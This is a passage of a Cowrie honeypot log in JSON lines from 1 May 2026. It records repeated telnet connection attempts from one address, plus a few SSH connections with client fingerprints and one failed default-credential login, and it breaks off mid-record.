{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35854,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4560be1a7ea","protocol":"telnet","message":"New connection: 198.50.122.223:35854 (10.17.0.5:23) [session: f4560be1a7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:19.173521Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59448,"dst_ip":"10.17.0.5","dst_port":23,"session":"b33d678dd4a3","protocol":"telnet","message":"New connection: 198.50.122.223:59448 (10.17.0.5:23) [session: b33d678dd4a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:19.236731Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36502,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd624491a3d5","protocol":"telnet","message":"New connection: 198.50.122.223:36502 (10.17.0.5:23) [session: bd624491a3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:19.294692Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36542,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a9beb3952fa","protocol":"telnet","message":"New connection: 198.50.122.223:36542 (10.17.0.5:23) [session: 8a9beb3952fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:19.301076Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37040,"dst_ip":"10.17.0.5","dst_port":23,"session":"d186ae5332dc","protocol":"telnet","message":"New connection: 198.50.122.223:37040 (10.17.0.5:23) [session: d186ae5332dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:19.422020Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37874,"dst_ip":"10.17.0.5","dst_port":23,"session":"44c5ee62b94a","protocol":"telnet","message":"New connection: 198.50.122.223:37874 (10.17.0.5:23) [session: 44c5ee62b94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:19.578693Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38038,"dst_ip":"10.17.0.5","dst_port":23,"session":"989153936b64","protocol":"telnet","message":"New connection: 198.50.122.223:38038 (10.17.0.5:23) [session: 989153936b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:19.601886Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39404,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee77975d830e","protocol":"telnet","message":"New connection: 198.50.122.223:39404 (10.17.0.5:23) [session: ee77975d830e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:19.860486Z"}
{"eventid":"cowrie.session.closed","duration":30.922866582870483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:20.182291Z","src_ip":"198.50.122.223","session":"f48c6404bae6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40608,"dst_ip":"10.17.0.5","dst_port":23,"session":"00333e993ca4","protocol":"telnet","message":"New connection: 198.50.122.223:40608 (10.17.0.5:23) [session: 00333e993ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:20.246731Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41526,"dst_ip":"10.17.0.5","dst_port":23,"session":"ace41770b6a4","protocol":"telnet","message":"New connection: 198.50.122.223:41526 (10.17.0.5:23) [session: ace41770b6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:20.462142Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41764,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb4d211b000f","protocol":"telnet","message":"New connection: 198.50.122.223:41764 (10.17.0.5:23) [session: cb4d211b000f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:20.516754Z"}
{"eventid":"cowrie.session.closed","duration":31.056267261505127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:20.534256Z","src_ip":"198.50.122.223","session":"22ca89c8bc6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44412,"dst_ip":"10.17.0.5","dst_port":23,"session":"a02249f8ea39","protocol":"telnet","message":"New connection: 198.50.122.223:44412 (10.17.0.5:23) [session: a02249f8ea39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:20.967323Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40212,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e0547a8ac3e","protocol":"telnet","message":"New connection: 198.50.122.223:40212 (10.17.0.5:23) [session: 2e0547a8ac3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:21.083980Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40300,"dst_ip":"10.17.0.5","dst_port":23,"session":"33f1d41ae85d","protocol":"telnet","message":"New connection: 198.50.122.223:40300 (10.17.0.5:23) [session: 33f1d41ae85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:21.131496Z"}
{"eventid":"cowrie.session.closed","duration":30.979355812072754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:21.188374Z","src_ip":"198.50.122.223","session":"dc81664f95ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46060,"dst_ip":"10.17.0.5","dst_port":23,"session":"b821a542763c","protocol":"telnet","message":"New connection: 198.50.122.223:46060 (10.17.0.5:23) [session: b821a542763c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:21.409448Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46302,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e897f6570f5","protocol":"telnet","message":"New connection: 198.50.122.223:46302 (10.17.0.5:23) [session: 7e897f6570f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:21.434920Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49114,"dst_ip":"10.17.0.5","dst_port":23,"session":"03a5b610afc3","protocol":"telnet","message":"New connection: 198.50.122.223:49114 (10.17.0.5:23) [session: 03a5b610afc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:21.925537Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49160,"dst_ip":"10.17.0.5","dst_port":23,"session":"172ce8c142a0","protocol":"telnet","message":"New connection: 198.50.122.223:49160 (10.17.0.5:23) [session: 172ce8c142a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:21.941413Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50306,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc1507827355","protocol":"telnet","message":"New connection: 198.50.122.223:50306 (10.17.0.5:23) [session: bc1507827355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:22.321824Z"}
{"eventid":"cowrie.session.closed","duration":31.026354789733887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:22.431863Z","src_ip":"198.50.122.223","session":"37e42e7370b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52634,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5a0a7e5ab1d","protocol":"telnet","message":"New connection: 198.50.122.223:52634 (10.17.0.5:23) [session: d5a0a7e5ab1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:22.680478Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54570,"dst_ip":"10.17.0.5","dst_port":23,"session":"0173cf261302","protocol":"telnet","message":"New connection: 198.50.122.223:54570 (10.17.0.5:23) [session: 0173cf261302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:23.135295Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55146,"dst_ip":"10.17.0.5","dst_port":23,"session":"acbefbb6801c","protocol":"telnet","message":"New connection: 198.50.122.223:55146 (10.17.0.5:23) [session: acbefbb6801c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:23.313373Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56600,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b76150aca6a","protocol":"telnet","message":"New connection: 198.50.122.223:56600 (10.17.0.5:23) [session: 7b76150aca6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:23.675936Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59970,"dst_ip":"10.17.0.5","dst_port":23,"session":"23bbaaf23377","protocol":"telnet","message":"New connection: 198.50.122.223:59970 (10.17.0.5:23) [session: 23bbaaf23377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:24.390641Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34554,"dst_ip":"10.17.0.5","dst_port":23,"session":"08fc070f82d4","protocol":"telnet","message":"New connection: 198.50.122.223:34554 (10.17.0.5:23) [session: 08fc070f82d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:24.871254Z"}
{"eventid":"cowrie.session.closed","duration":30.986335039138794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:25.030748Z","src_ip":"198.50.122.223","session":"df3898f9a654","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48895788192749,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:25.049636Z","src_ip":"198.50.122.223","session":"90d2860260e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59200,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c549465414c","protocol":"telnet","message":"New connection: 198.50.122.223:59200 (10.17.0.5:23) [session: 4c549465414c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:25.212803Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36186,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d655279045b","protocol":"telnet","message":"New connection: 198.50.122.223:36186 (10.17.0.5:23) [session: 3d655279045b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:25.304063Z"}
{"eventid":"cowrie.session.closed","duration":30.572431087493896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:25.398069Z","src_ip":"198.50.122.223","session":"c0c42d5fd315","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":32964,"dst_ip":"10.17.0.5","dst_port":23,"session":"8adc22c97656","protocol":"telnet","message":"New connection: 198.50.122.223:32964 (10.17.0.5:23) [session: 8adc22c97656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:25.581696Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38972,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3f2b070cba6","protocol":"telnet","message":"New connection: 198.50.122.223:38972 (10.17.0.5:23) [session: c3f2b070cba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:25.781517Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39230,"dst_ip":"10.17.0.5","dst_port":23,"session":"ede0deadb222","protocol":"telnet","message":"New connection: 198.50.122.223:39230 (10.17.0.5:23) [session: ede0deadb222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:25.831464Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39552,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1154f687b31","protocol":"telnet","message":"New connection: 198.50.122.223:39552 (10.17.0.5:23) [session: d1154f687b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:25.885125Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40512,"dst_ip":"10.17.0.5","dst_port":23,"session":"815f218d2e84","protocol":"telnet","message":"New connection: 198.50.122.223:40512 (10.17.0.5:23) [session: 815f218d2e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:26.189450Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36166,"dst_ip":"10.17.0.5","dst_port":23,"session":"4022c7f42cb0","protocol":"telnet","message":"New connection: 198.50.122.223:36166 (10.17.0.5:23) [session: 4022c7f42cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:26.301625Z"}
{"eventid":"cowrie.session.closed","duration":30.481163263320923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:26.330800Z","src_ip":"198.50.122.223","session":"4b0e75f1dbb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955642461776733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:26.406618Z","src_ip":"198.50.122.223","session":"85c21c9ee58f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41626,"dst_ip":"10.17.0.5","dst_port":23,"session":"3454a7ce2f25","protocol":"telnet","message":"New connection: 198.50.122.223:41626 (10.17.0.5:23) [session: 3454a7ce2f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:26.433044Z"}
{"eventid":"cowrie.session.closed","duration":31.226207494735718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:26.445282Z","src_ip":"198.50.122.223","session":"b2af89b24d19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.635519981384277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:26.554029Z","src_ip":"198.50.122.223","session":"9336184b8843","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43206763267517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:26.559349Z","src_ip":"198.50.122.223","session":"0a4a4fdb2b82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40322,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b50ba7205ca","protocol":"telnet","message":"New connection: 198.50.122.223:40322 (10.17.0.5:23) [session: 1b50ba7205ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:27.111917Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45246,"dst_ip":"10.17.0.5","dst_port":23,"session":"d014e1a77fba","protocol":"telnet","message":"New connection: 198.50.122.223:45246 (10.17.0.5:23) [session: d014e1a77fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:27.196520Z"}
{"eventid":"cowrie.session.closed","duration":31.228068590164185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:27.516573Z","src_ip":"198.50.122.223","session":"10ede1f52348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48136,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed5f14d7cfb4","protocol":"telnet","message":"New connection: 198.50.122.223:48136 (10.17.0.5:23) [session: ed5f14d7cfb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:27.702706Z"}
{"eventid":"cowrie.session.closed","duration":30.32349133491516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:28.102978Z","src_ip":"198.50.122.223","session":"9f7031947d4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.492406368255615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:28.258509Z","src_ip":"198.50.122.223","session":"fdc21c93de5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24349808692932,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:28.455707Z","src_ip":"198.50.122.223","session":"fcd573cdfe09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803909063339233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:28.496248Z","src_ip":"198.50.122.223","session":"e6787a8aa54f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51772,"dst_ip":"10.17.0.5","dst_port":23,"session":"2be9eb65396b","protocol":"telnet","message":"New connection: 198.50.122.223:51772 (10.17.0.5:23) [session: 2be9eb65396b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:28.603118Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52644,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d03d5a547e4","protocol":"telnet","message":"New connection: 198.50.122.223:52644 (10.17.0.5:23) [session: 8d03d5a547e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:28.721619Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":57956,"dst_ip":"159.203.135.109","dst_port":22,"session":"da35fea30666","protocol":"ssh","message":"New connection: 2.203.183.35:57956 (159.203.135.109:22) [session: da35fea30666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:29.487245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:29.492508Z","src_ip":"2.203.183.35","session":"da35fea30666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:29.617278Z","src_ip":"2.203.183.35","session":"da35fea30666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.46749520301819,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:29.654196Z","src_ip":"198.50.122.223","session":"9df84578bf0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94754719734192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:29.663468Z","src_ip":"198.50.122.223","session":"65301e3a7d65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58058,"dst_ip":"10.17.0.5","dst_port":23,"session":"217e130be747","protocol":"telnet","message":"New connection: 198.50.122.223:58058 (10.17.0.5:23) [session: 217e130be747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:29.932734Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58536,"dst_ip":"10.17.0.5","dst_port":23,"session":"82c238cdb92d","protocol":"telnet","message":"New connection: 198.50.122.223:58536 (10.17.0.5:23) [session: 82c238cdb92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:30.073223Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Admin@123","message":"login attempt [ftpuser/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:30.278019Z","src_ip":"2.203.183.35","session":"da35fea30666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.418013334274292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:30.311125Z","src_ip":"198.50.122.223","session":"f18c2a2c78e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60044,"dst_ip":"10.17.0.5","dst_port":23,"session":"39adefd3a727","protocol":"telnet","message":"New connection: 198.50.122.223:60044 (10.17.0.5:23) [session: 39adefd3a727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:30.454027Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33230,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eab05614f46","protocol":"telnet","message":"New connection: 198.50.122.223:33230 (10.17.0.5:23) [session: 4eab05614f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:30.689105Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36814,"dst_ip":"159.203.135.109","dst_port":22,"session":"da2c4bba977d","protocol":"ssh","message":"New connection: 159.203.92.129:36814 (159.203.135.109:22) [session: da2c4bba977d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:31.001715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:31.006762Z","src_ip":"159.203.92.129","session":"da2c4bba977d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed